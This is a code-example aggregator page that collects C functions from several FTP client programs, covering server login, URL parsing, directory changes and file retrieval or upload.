    pu->scheme = SCM_FTPDIR;
    return NULL;
}
Пример #19
0
int ftp_get(st_ftp *s)
{
	int ret,error;
	int get_sock, set, new_sock, i = 0;
	char src_file[512],dst_file[512],rcv_buf[512],get_cmd[512];	
	int local_file;
	int count = 0;
	struct stat file_info;
	memset(src_file,0,sizeof(src_file));
	memset(dst_file,0,sizeof(dst_file));	
	memset(rcv_buf,0,sizeof(rcv_buf));
	memset(get_cmd,0,sizeof(get_cmd));
	sprintf(get_cmd,"get %s",s->getFileName);

	if((ret = ftp_login(s->ip, s->port, s->user, s->password)) == -1)
	{
		printf("Password error!\n");
		return -1;
	}
	else if(ret == -2)
	{
		printf("User error!\n");
		return -1;
	}
	
	if(local_cd(s->localDir) != 0)
	{
		printf("local cd error !\n");		
		return -1;
	}

	if(ftp_cd(s->ftpDir) != 0)
	{
		printf("ftp cd error !\n");		
		return -1;
	}

	ftp_cmd_filename(get_cmd, src_file, dst_file);
	
	if(!stat(dst_file, &file_info))
	{
		printf("local file %s exists: %d bytes\n", dst_file, (int)file_info.st_size);
		if(!s->getCoverFalgs)
		{
			close(sock_control);
			return -1;
		}
	}
	
	local_file = open(dst_file, O_CREAT|O_TRUNC|O_WRONLY);
	if(local_file < 0)
	{
		printf("creat local file %s error!\n", dst_file);
		close(sock_control);
		return -2;
	}
	get_sock = ftp_connect_data();
	if(get_sock < 0)
	{
		printf("socket error!\n");
		close(sock_control);
		return -3;
	}
	set = sizeof(local_host);
	
	ftp_send_cmd("TYPE I", NULL, sock_control);
	error = ftp_get_reply(sock_control);
	printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__);
	if(error != 200)
	{
		printf("commond :<TYPE I> error!,line<%d>\n",__LINE__);
		return -1;
	}
	
	ftp_send_cmd("RETR ", src_file, sock_control);/* 从服务器上找回(复制)文件  */
	error = ftp_get_reply(sock_control);
	printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__);	
	if(error != 150)
	{
		printf("commond :<RETR> error!,line<%d>\n",__LINE__);
		return -1;
	}
	
	printf("get file begin,please wait ...\n");
	while(1)
	{
		count = read(get_sock, rcv_buf, sizeof(rcv_buf));
		if(count <= 0)
		{
			break;
		}	
		else
		{
			if((write(local_file, rcv_buf, count)) == -1)
			{
				printf("write err!\n");
				break;
			}
		}
	}
	printf("get file succ!\n");
	close(local_file);
	close(get_sock);
	ftp_get_reply(sock_control); 	
	ftp_quit();
	return 0;
}
Пример #20
0
/*
 * Retrieve multiple files from the command line, transferring
 * files of the form "host:path", "ftp://host/path" using the
 * ftp protocol, and files of the form "http://host/path" using
 * the http protocol.
 * If path has a trailing "/", then return (-1);
 * the path will be cd-ed into and the connection remains open,
 * and the function will return -1 (to indicate the connection
 * is alive).
 * If an error occurs the return value will be the offset+1 in
 * argv[] of the file that caused a problem (i.e, argv[x]
 * returns x+1)
 * Otherwise, 0 is returned if all files retrieved successfully.
 */
int
auto_fetch(int argc, char *argv[], char *outfile)
{
	char *xargv[5];
	char *cp, *url, *host, *dir, *file, *portnum;
	char *username, *pass, *pathstart;
	char *ftpproxy, *httpproxy;
	int rval, xargc;
	volatile int argpos;
	int dirhasglob, filehasglob, oautologin;
	char rempath[MAXPATHLEN];

	argpos = 0;

	if (setjmp(toplevel)) {
		if (connected)
			disconnect(0, NULL);
		return (argpos + 1);
	}
	(void)signal(SIGINT, (sig_t)intr);
	(void)signal(SIGPIPE, (sig_t)lostpeer);

	if ((ftpproxy = getenv(FTP_PROXY)) != NULL && *ftpproxy == '\0')
		ftpproxy = NULL;
	if ((httpproxy = getenv(HTTP_PROXY)) != NULL && *httpproxy == '\0')
		httpproxy = NULL;

	/*
	 * Loop through as long as there's files to fetch.
	 */
	for (rval = 0; (rval == 0) && (argpos < argc); free(url), argpos++) {
		if (strchr(argv[argpos], ':') == NULL)
			break;
		host = dir = file = portnum = username = pass = NULL;

		/*
		 * We muck with the string, so we make a copy.
		 */
		url = strdup(argv[argpos]);
		if (url == NULL)
			errx(1, "Can't allocate memory for auto-fetch.");

		/*
		 * Try HTTP URL-style arguments first.
		 */
		if (strncasecmp(url, HTTP_URL, sizeof(HTTP_URL) - 1) == 0 ||
#ifndef SMALL
		    /* even if we compiled without SSL, url_get will check */
		    strncasecmp(url, HTTPS_URL, sizeof(HTTPS_URL) -1) == 0 ||
#endif /* !SMALL */
		    strncasecmp(url, FILE_URL, sizeof(FILE_URL) - 1) == 0) {
			redirect_loop = 0;
			if (url_get(url, httpproxy, outfile) == -1)
				rval = argpos + 1;
			continue;
		}

		/*
		 * Try FTP URL-style arguments next. If ftpproxy is
		 * set, use url_get() instead of standard ftp.
		 * Finally, try host:file.
		 */
		host = url;
		if (strncasecmp(url, FTP_URL, sizeof(FTP_URL) - 1) == 0) {
			char *passend, *passagain, *userend;

			if (ftpproxy) {
				if (url_get(url, ftpproxy, outfile) == -1)
					rval = argpos + 1;
				continue;
			}
			host += sizeof(FTP_URL) - 1;
			dir = strchr(host, '/');

			/* Look for [user:pass@]host[:port] */

			/* check if we have "user:pass@" */
			userend = strchr(host, ':');
			passend = strchr(host, '@');
			if (passend && userend && userend < passend &&
			    (!dir || passend < dir)) {
				username = host;
				pass = userend + 1;
				host = passend + 1;
				*userend = *passend = '\0';
				passagain = strchr(host, '@');
				if (strchr(pass, '@') != NULL ||
				    (passagain != NULL && passagain < dir)) {
					warnx(at_encoding_warning);
					goto bad_ftp_url;
				}

				if (EMPTYSTRING(username)) {
bad_ftp_url:
					warnx("Invalid URL: %s", argv[argpos]);
					rval = argpos + 1;
					continue;
				}
				username = urldecode(username);
				pass = urldecode(pass);
			}

#ifdef INET6
			/* check [host]:port, or [host] */
			if (host[0] == '[') {
				cp = strchr(host, ']');
				if (cp && (!dir || cp < dir)) {
					if (cp + 1 == dir || cp[1] == ':') {
						host++;
						*cp++ = '\0';
					} else
						cp = NULL;
				} else
					cp = host;
			} else
				cp = host;
#else
			cp = host;
#endif

			/* split off host[:port] if there is */
			if (cp) {
				portnum = strchr(cp, ':');
				pathstart = strchr(cp, '/');
				/* : in path is not a port # indicator */
				if (portnum && pathstart &&
				    pathstart < portnum)
					portnum = NULL;

				if (!portnum)
					;
				else {
					if (!dir)
						;
					else if (portnum + 1 < dir) {
						*portnum++ = '\0';
						/*
						 * XXX should check if portnum
						 * is decimal number
						 */
					} else {
						/* empty portnum */
						goto bad_ftp_url;
					}
				}
			} else
				portnum = NULL;
		} else {			/* classic style `host:file' */
			dir = strchr(host, ':');
		}
		if (EMPTYSTRING(host)) {
			rval = argpos + 1;
			continue;
		}

		/*
		 * If dir is NULL, the file wasn't specified
		 * (URL looked something like ftp://host)
		 */
		if (dir != NULL)
			*dir++ = '\0';

		/*
		 * Extract the file and (if present) directory name.
		 */
		if (!EMPTYSTRING(dir)) {
			cp = strrchr(dir, '/');
			if (cp != NULL) {
				*cp++ = '\0';
				file = cp;
			} else {
				file = dir;
				dir = NULL;
			}
		}
#ifndef SMALL
		if (debug)
			fprintf(ttyout,
			    "user %s:%s host %s port %s dir %s file %s\n",
			    username, pass ? "XXXX" : NULL, host, portnum,
			    dir, file);
#endif /* !SMALL */

		/*
		 * Set up the connection.
		 */
		if (connected)
			disconnect(0, NULL);
		xargv[0] = __progname;
		xargv[1] = host;
		xargv[2] = NULL;
		xargc = 2;
		if (!EMPTYSTRING(portnum)) {
			xargv[2] = portnum;
			xargv[3] = NULL;
			xargc = 3;
		}
		oautologin = autologin;
		if (username != NULL)
			autologin = 0;
		setpeer(xargc, xargv);
		autologin = oautologin;
		if ((connected == 0) ||
		    ((connected == 1) && !ftp_login(host, username, pass))) {
			warnx("Can't connect or login to host `%s'", host);
			rval = argpos + 1;
			continue;
		}

		/* Always use binary transfers. */
		setbinary(0, NULL);

		dirhasglob = filehasglob = 0;
		if (doglob) {
			if (!EMPTYSTRING(dir) &&
			    strpbrk(dir, "*?[]{}") != NULL)
				dirhasglob = 1;
			if (!EMPTYSTRING(file) &&
			    strpbrk(file, "*?[]{}") != NULL)
				filehasglob = 1;
		}

		/* Change directories, if necessary. */
		if (!EMPTYSTRING(dir) && !dirhasglob) {
			xargv[0] = "cd";
			xargv[1] = dir;
			xargv[2] = NULL;
			cd(2, xargv);
			if (!dirchange) {
				rval = argpos + 1;
				continue;
			}
		}

		if (EMPTYSTRING(file)) {
			rval = -1;
			continue;
		}

		if (verbose)
			fprintf(ttyout, "Retrieving %s/%s\n", dir ? dir : "", file);

		if (dirhasglob) {
			snprintf(rempath, sizeof(rempath), "%s/%s", dir, file);
			file = rempath;
		}

		/* Fetch the file(s). */
		xargc = 2;
		xargv[0] = "get";
		xargv[1] = file;
		xargv[2] = NULL;
		if (dirhasglob || filehasglob) {
			int ointeractive;

			ointeractive = interactive;
			interactive = 0;
			xargv[0] = "mget";
#ifndef SMALL
			if (resume) {
				xargc = 3;
				xargv[1] = "-c";
				xargv[2] = file;
				xargv[3] = NULL;
			}
#endif /* !SMALL */
			mget(xargc, xargv);
			interactive = ointeractive;
		} else {
			if (outfile != NULL) {
				xargv[2] = outfile;
				xargv[3] = NULL;
				xargc++;
			}
#ifndef SMALL
			if (resume)
				reget(xargc, xargv);
			else
#endif /* !SMALL */
				get(xargc, xargv);
		}

		if ((code / 100) != COMPLETE)
			rval = argpos + 1;
	}
	if (connected && rval != -1)
		disconnect(0, NULL);
	return (rval);
}
Пример #21
0
/*------------------------------------------------------------------*/
INT mftp_open(char *destination, FTP_CON ** con)
{
   INT status;
   short port = 0;
   char *token, host_name[HOST_NAME_LENGTH],
       user[256], pass[256], directory[256], file_name[256], file_mode[256];

   /* 
      destination should have the form:
      host, port, user, password, directory, run%05d.mid, file_mode, command, ...
    */

   /* break destination in components */
   token = strtok(destination, ",");
   if (token)
      strcpy(host_name, token);

   token = strtok(NULL, ",");
   if (token)
      port = atoi(token);

   token = strtok(NULL, ",");
   if (token)
      strcpy(user, token);

   token = strtok(NULL, ",");
   if (token)
      strcpy(pass, token);

   token = strtok(NULL, ",");
   if (token)
      strcpy(directory, token);

   token = strtok(NULL, ",");
   if (token)
      strcpy(file_name, token);

   token = strtok(NULL, ",");
   file_mode[0] = 0;
   if (token)
      strcpy(file_mode, token);

   status = ftp_login(con, host_name, port, user, pass, "");
   if (status >= 0)
      return status;

   status = ftp_chdir(*con, directory);
   if (status >= 0) {
      /* directory does not exist -> create it */
      ftp_mkdir(*con, directory);
      status = ftp_chdir(*con, directory);
   }
   if (status >= 0)
      return status;
   status = ftp_binary(*con);
   if (status >= 0)
      return status;

   if (file_mode[0]) {
      status = ftp_command(*con, "umask %s", file_mode, 200, 250, EOF);
      if (status >= 0)
         return status;
   }

   while (token) {
      token = strtok(NULL, ",");
      if (token) {
         status = ftp_command(*con, token, NULL, 200, 250, EOF);
         if (status >= 0)
            return status;
      }
   }

   if (ftp_open_write(*con, file_name) >= 0)
      return (*con)->err_no;

   return SS_SUCCESS;
}
Пример #22
0
int
main(int volatile argc, char **volatile argv)
{
	int ch, rval;
	struct passwd *pw;
	char *cp, *ep, *anonuser, *anonpass, *upload_path, *src_addr;
	int dumbterm, s, isupload;
	size_t len;
	socklen_t slen;

	tzset();
#if 0	/* tnftp */	/* XXX */
	setlocale(LC_ALL, "");
#endif	/* tnftp */
	setprogname(argv[0]);

	sigint_raised = 0;

	ftpport = "ftp";
	httpport = "http";
	gateport = NULL;
	cp = getenv("FTPSERVERPORT");
	if (cp != NULL)
		gateport = cp;
	else
		gateport = "ftpgate";
	doglob = 1;
	interactive = 1;
	autologin = 1;
	passivemode = 1;
	activefallback = 1;
	preserve = 1;
	verbose = 0;
	progress = 0;
	gatemode = 0;
	data = -1;
	outfile = NULL;
	restartautofetch = 0;
#ifndef NO_EDITCOMPLETE
	editing = 0;
	el = NULL;
	hist = NULL;
#endif
	bytes = 0;
	mark = HASHBYTES;
	rate_get = 0;
	rate_get_incr = DEFAULTINCR;
	rate_put = 0;
	rate_put_incr = DEFAULTINCR;
#ifdef INET6
	epsv4 = 1;
#else
	epsv4 = 0;
#endif
	epsv4bad = 0;
	src_addr = NULL;
	upload_path = NULL;
	isupload = 0;
	reply_callback = NULL;
	family = AF_UNSPEC;

	netrc[0] = '\0';
	cp = getenv("NETRC");
	if (cp != NULL && strlcpy(netrc, cp, sizeof(netrc)) >= sizeof(netrc))
		errx(1, "$NETRC `%s': %s", cp, strerror(ENAMETOOLONG));

	/*
	 * Get the default socket buffer sizes if we don't already have them.
	 * It doesn't matter which socket we do this to, because on the first
	 * call no socket buffer sizes will have been modified, so we are
	 * guaranteed to get the system defaults.
	 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s == -1)
		err(1, "Can't create socket to determine default socket sizes");
	slen = sizeof(rcvbuf_size);
	if (getsockopt(s, SOL_SOCKET, SO_RCVBUF,
	    (void *)&rcvbuf_size, &slen) == -1)
		err(1, "Unable to get default rcvbuf size");
	slen = sizeof(sndbuf_size);
	if (getsockopt(s, SOL_SOCKET, SO_SNDBUF,
	    (void *)&sndbuf_size, &slen) == -1)
		err(1, "Unable to get default sndbuf size");
	(void)close(s);
					/* sanity check returned buffer sizes */
	if (rcvbuf_size <= 0)
		rcvbuf_size = 8 * 1024;
	if (sndbuf_size <= 0)
		sndbuf_size = 8 * 1024;

	if (sndbuf_size > 8 * 1024 * 1024)
		sndbuf_size = 8 * 1024 * 1024;
	if (rcvbuf_size > 8 * 1024 * 1024)
		rcvbuf_size = 8 * 1024 * 1024;

	marg_sl = ftp_sl_init();
	if ((tmpdir = getenv("TMPDIR")) == NULL)
		tmpdir = _PATH_TMP;

	/* Set default operation mode based on FTPMODE environment variable */
	if ((cp = getenv("FTPMODE")) != NULL) {
		if (strcasecmp(cp, "passive") == 0) {
			passivemode = 1;
			activefallback = 0;
		} else if (strcasecmp(cp, "active") == 0) {
			passivemode = 0;
			activefallback = 0;
		} else if (strcasecmp(cp, "gate") == 0) {
			gatemode = 1;
		} else if (strcasecmp(cp, "auto") == 0) {
			passivemode = 1;
			activefallback = 1;
		} else
			warnx("Unknown $FTPMODE `%s'; using defaults", cp);
	}

	if (strcmp(getprogname(), "pftp") == 0) {
		passivemode = 1;
		activefallback = 0;
	} else if (strcmp(getprogname(), "gate-ftp") == 0)
		gatemode = 1;

	gateserver = getenv("FTPSERVER");
	if (gateserver == NULL || *gateserver == '\0')
		gateserver = GATE_SERVER;
	if (gatemode) {
		if (*gateserver == '\0') {
			warnx(
"Neither $FTPSERVER nor GATE_SERVER is defined; disabling gate-ftp");
			gatemode = 0;
		}
	}

	cp = getenv("TERM");
	if (cp == NULL || strcmp(cp, "dumb") == 0)
		dumbterm = 1;
	else
		dumbterm = 0;
	fromatty = isatty(fileno(stdin));
	ttyout = stdout;
	if (isatty(fileno(ttyout))) {
		verbose = 1;		/* verbose if to a tty */
		if (! dumbterm) {
#ifndef NO_EDITCOMPLETE
			if (fromatty)	/* editing mode on if tty is usable */
				editing = 1;
#endif
#ifndef NO_PROGRESS
			if (foregroundproc())
				progress = 1;	/* progress bar on if fg */
#endif
		}
	}

	while ((ch = getopt(argc, argv, "46AadefginN:o:pP:q:r:Rs:tT:u:vV")) != -1) {
		switch (ch) {
		case '4':
			family = AF_INET;
			break;

		case '6':
#ifdef INET6
			family = AF_INET6;
#else
			warnx("INET6 support is not available; ignoring -6");
#endif
			break;

		case 'A':
			activefallback = 0;
			passivemode = 0;
			break;

		case 'a':
			anonftp = 1;
			break;

		case 'd':
			options |= SO_DEBUG;
			ftp_debug++;
			break;

		case 'e':
#ifndef NO_EDITCOMPLETE
			editing = 0;
#endif
			break;

		case 'f':
			flushcache = 1;
			break;

		case 'g':
			doglob = 0;
			break;

		case 'i':
			interactive = 0;
			break;

		case 'n':
			autologin = 0;
			break;

		case 'N':
			if (strlcpy(netrc, optarg, sizeof(netrc))
			    >= sizeof(netrc))
				errx(1, "%s: %s", optarg,
				    strerror(ENAMETOOLONG));
			break;

		case 'o':
			outfile = optarg;
			if (strcmp(outfile, "-") == 0)
				ttyout = stderr;
			break;

		case 'p':
			passivemode = 1;
			activefallback = 0;
			break;

		case 'P':
			ftpport = optarg;
			break;

		case 'q':
			quit_time = strtol(optarg, &ep, 10);
			if (quit_time < 1 || *ep != '\0')
				errx(1, "Bad quit value: %s", optarg);
			break;

		case 'r':
			retry_connect = strtol(optarg, &ep, 10);
			if (retry_connect < 1 || *ep != '\0')
				errx(1, "Bad retry value: %s", optarg);
			break;

		case 'R':
			restartautofetch = 1;
			break;

		case 's':
			src_addr = optarg;
			break;

		case 't':
			trace = 1;
			break;

		case 'T':
		{
			int targc;
			char *targv[6], *oac;

				/* look for `dir,max[,incr]' */
			targc = 0;
			targv[targc++] = "-T";
			oac = ftp_strdup(optarg);

			while ((cp = strsep(&oac, ",")) != NULL) {
				if (*cp == '\0') {
					warnx("Bad throttle value `%s'",
					    optarg);
					usage();
					/* NOTREACHED */
				}
				targv[targc++] = cp;
				if (targc >= 5)
					break;
			}
			if (parserate(targc, targv, 1) == -1)
				usage();
			free(oac);
			break;
		}

		case 'u':
		{
			isupload = 1;
			interactive = 0;
			upload_path = ftp_strdup(optarg);

			break;
		}

		case 'v':
			progress = verbose = 1;
			break;

		case 'V':
			progress = verbose = 0;
			break;

		default:
			usage();
		}
	}
			/* set line buffering on ttyout */
	setvbuf(ttyout, NULL, _IOLBF, 0);
	argc -= optind;
	argv += optind;

	cpend = 0;	/* no pending replies */
	proxy = 0;	/* proxy not active */
	crflag = 1;	/* strip c.r. on ascii gets */
	sendport = -1;	/* not using ports */

	if (src_addr != NULL) {
		struct addrinfo hints;
		int error;

		memset(&hints, 0, sizeof(hints));
		hints.ai_family = family;
		hints.ai_socktype = SOCK_STREAM;
		hints.ai_flags = AI_PASSIVE;
		error = getaddrinfo(src_addr, NULL, &hints, &bindai);
		if (error) {
		    	errx(1, "Can't lookup `%s': %s", src_addr,
			    (error == EAI_SYSTEM) ? strerror(errno)
						  : gai_strerror(error));
		}
	}

	/*
	 * Cache the user name and home directory.
	 */
	localhome = NULL;
	localname = NULL;
	anonuser = "******";
	cp = getenv("HOME");
	if (! EMPTYSTRING(cp))
		localhome = ftp_strdup(cp);
	pw = NULL;
	cp = getlogin();
	if (cp != NULL)
		pw = getpwnam(cp);
	if (pw == NULL)
		pw = getpwuid(getuid());
	if (pw != NULL) {
		if (localhome == NULL && !EMPTYSTRING(pw->pw_dir))
			localhome = ftp_strdup(pw->pw_dir);
		localname = ftp_strdup(pw->pw_name);
		anonuser = localname;
	}
	if (netrc[0] == '\0' && localhome != NULL) {
		if (strlcpy(netrc, localhome, sizeof(netrc)) >= sizeof(netrc) ||
		    strlcat(netrc, "/.netrc", sizeof(netrc)) >= sizeof(netrc)) {
			warnx("%s/.netrc: %s", localhome,
			    strerror(ENAMETOOLONG));
			netrc[0] = '\0';
		}
	}
	if (localhome == NULL)
		localhome = ftp_strdup("/");

	/*
	 * Every anonymous FTP server I've encountered will accept the
	 * string "username@", and will append the hostname itself. We
	 * do this by default since many servers are picky about not
	 * having a FQDN in the anonymous password.
	 * - [email protected]
	 */
	len = strlen(anonuser) + 2;
	anonpass = ftp_malloc(len);
	(void)strlcpy(anonpass, anonuser, len);
	(void)strlcat(anonpass, "@",	  len);

			/*
			 * set all the defaults for options defined in
			 * struct option optiontab[]  declared in cmdtab.c
			 */
	setupoption("anonpass",		getenv("FTPANONPASS"),	anonpass);
	setupoption("ftp_proxy",	getenv(FTP_PROXY),	"");
	setupoption("http_proxy",	getenv(HTTP_PROXY),	"");
	setupoption("no_proxy",		getenv(NO_PROXY),	"");
	setupoption("pager",		getenv("PAGER"),	DEFAULTPAGER);
	setupoption("prompt",		getenv("FTPPROMPT"),	DEFAULTPROMPT);
	setupoption("rprompt",		getenv("FTPRPROMPT"),	DEFAULTRPROMPT);

	free(anonpass);

	setttywidth(0);
#ifdef SIGINFO
	(void)xsignal(SIGINFO, psummary);
#endif
	(void)xsignal(SIGQUIT, psummary);
	(void)xsignal(SIGUSR1, crankrate);
	(void)xsignal(SIGUSR2, crankrate);
	(void)xsignal(SIGWINCH, setttywidth);

	if (argc > 0) {
		if (isupload) {
			rval = auto_put(argc, argv, upload_path);
 sigint_or_rval_exit:
			if (sigint_raised) {
				(void)xsignal(SIGINT, SIG_DFL);
				raise(SIGINT);
			}
			exit(rval);
		} else if (strchr(argv[0], ':') != NULL
			    && ! isipv6addr(argv[0])) {
			rval = auto_fetch(argc, argv);
			if (rval >= 0)		/* -1 == connected and cd-ed */
				goto sigint_or_rval_exit;
		} else {
			char *xargv[4], *user, *host;

			if ((rval = sigsetjmp(toplevel, 1)))
				goto sigint_or_rval_exit;
			(void)xsignal(SIGINT, intr);
			(void)xsignal(SIGPIPE, lostpeer);
			user = NULL;
			host = argv[0];
			cp = strchr(host, '@');
			if (cp) {
				*cp = '\0';
				user = host;
				host = cp + 1;
			}
			/* XXX discards const */
			xargv[0] = (char *)getprogname();
			xargv[1] = host;
			xargv[2] = argv[1];
			xargv[3] = NULL;
			do {
				int oautologin;

				oautologin = autologin;
				if (user != NULL) {
					anonftp = 0;
					autologin = 0;
				}
				setpeer(argc+1, xargv);
				autologin = oautologin;
				if (connected == 1 && user != NULL)
					(void)ftp_login(host, user, NULL);
				if (!retry_connect)
					break;
				if (!connected) {
					macnum = 0;
					fprintf(ttyout,
					    "Retrying in %d seconds...\n",
					    retry_connect);
					sleep(retry_connect);
				}
			} while (!connected);
			retry_connect = 0; /* connected, stop hiding msgs */
		}
	}
	if (isupload)
		usage();

#ifndef NO_EDITCOMPLETE
	controlediting();
#endif /* !NO_EDITCOMPLETE */

	(void)sigsetjmp(toplevel, 1);
	(void)xsignal(SIGINT, intr);
	(void)xsignal(SIGPIPE, lostpeer);
	for (;;)
		cmdscanner();
}
Пример #23
0
int ftpgetput_main(int argc, char **argv)
{
	/* content-length of the file */
	unsigned long opt;
	char *port = "ftp";

	/* socket to ftp server */
	FILE *control_stream;
	struct sockaddr_in s_in;

	/* continue a prev transfer (-c) */
	ftp_host_info_t *server;

	int (*ftp_action)(ftp_host_info_t *, FILE *, const char *, char *) = NULL;

	/* Check to see if the command is ftpget or ftput */
#ifdef CONFIG_FTPPUT
# ifdef CONFIG_FTPGET
	if (bb_applet_name[3] == 'p') {
		ftp_action = ftp_send;
	}
# else
	ftp_action = ftp_send;
# endif
#endif
#ifdef CONFIG_FTPGET
# ifdef CONFIG_FTPPUT
	if (bb_applet_name[3] == 'g') {
		ftp_action = ftp_recieve;
	}
# else
	ftp_action = ftp_recieve;
# endif
#endif

	/* Set default values */
	server = xmalloc(sizeof(ftp_host_info_t));
	server->user = "******";
	server->password = "******";
	verbose_flag = 0;

	/*
	 * Decipher the command line
	 */
	bb_applet_long_options = ftpgetput_long_options;
	opt = bb_getopt_ulflags(argc, argv, "cvu:p:P:", &server->user, &server->password, &port);

	/* Process the non-option command line arguments */
	if (argc - optind != 3) {
		bb_show_usage();
	}

	if (opt & FTPGETPUT_OPT_CONTINUE) {
		do_continue = 1;
	}
	if (opt & FTPGETPUT_OPT_VERBOSE) {
		verbose_flag = 1;
	}

	/* We want to do exactly _one_ DNS lookup, since some
	 * sites (i.e. ftp.us.debian.org) use round-robin DNS
	 * and we want to connect to only one IP... */
	server->s_in = &s_in;
	bb_lookup_host(&s_in, argv[optind]);
	s_in.sin_port = bb_lookup_port(port, "tcp", 21);
	if (verbose_flag) {
		printf("Connecting to %s[%s]:%d\n",
				argv[optind], inet_ntoa(s_in.sin_addr), ntohs(s_in.sin_port));
	}

	/*  Connect/Setup/Configure the FTP session */
	control_stream = ftp_login(server);

	return(ftp_action(server, control_stream, argv[optind + 1], argv[optind + 2]));
}
Пример #24
0
Файл: ftp.c Проект: brl/ftpscan
int
ftp_anon_login(int fd)
{
	return ftp_login(fd, "ftp", "IEUser@");
}
Пример #25
0
int connectFtpServer(char * server_ip, int port, char * user, char * password)
{
    int socket_control;
    giLogLine++;
    if( server_ip == NULL || user == NULL)
    {
        plog( "%s\n\n", "Fun(connectFtpServer): server_ip or user is NULL." );
        return -1;
    }

    int error;
    char log[1000]={0};

    error = fill_host_addr( server_ip, &ftp_server, port );
    if( error == 254 )
    {
        plog("%s\n\n", "Fun(connectFtpServer): Invalid port!");
        return -1;
    }

    if( error == 253 )
    {
        plog("%s\n\n", "Fun(connectFtpServer): Invalid address!");
        return -1;
    }

    struct timeval outtime;
    int type = 1;
    socket_control = socket( AF_INET,SOCK_STREAM, 0 );
    if( socket_control < 0 )
    {
        plog("%s\n\n", "Fun(connectFtpServer): Creat socket error.");
        return -1;
    }

    if( type == 1 )
    {
        outtime.tv_sec = 10;
        outtime.tv_usec = 0;// 300000;
    }
    else
    {
        outtime.tv_sec = 5;
        outtime.tv_usec = 0;
    }

    //fcntl(socket_control ,F_SETFL, ~O_NONBLOCK);
    //set = setsockopt( socket_control, SOL_SOCKET, SO_RCVTIMEO, &outtime, sizeof(outtime) );

    //connect to the server
    if(connect( socket_control, (struct sockaddr *) &ftp_server, sizeof(struct sockaddr_in) ) <0 )
    {
        memset( log, 0, 1000 );
        sprintf(log,"Fun(connectFtpServer): Can't connet to the server:%s,port:%d\n\n",inet_ntoa(ftp_server.sin_addr),ntohs(ftp_server.sin_port));
        plog( "%s", log );
        close(socket_control);
        return -1;
    }
    else
    {
        memset( log, 0, 1000 );

        sprintf( log, "Fun(connectFtpServer): Successfully connect to server:%s,port:%d\n",inet_ntoa(ftp_server.sin_addr),ntohs(ftp_server.sin_port));
        plog( "%s", log );
    }
	error = ftp_get_reply( socket_control, NULL );
	if( error == 421 )//There are too many connections from your internet address.
	{
        plog("%s\n\n","Fun(connectFtpServer): 421 too many connections.");
        close(socket_control);
        return -1;
	}
	else if( error == 220)//Successfully connect
	{
        if( (error = ftp_login(socket_control, user, password)) == -1 )
        {
            plog("%s\n\n", "Fun(connectFtpServer): user or password error.");
            close(socket_control);
            return -1;
        }

        plog("Fun(connectFtpServer): socket_control = %d\n",socket_control);
        return socket_control;
	}
	else
	{
        plog("%s\n\n", "Fun(connectFtpServer): Connect error!");
        close(socket_control);
        return -1;
	}

}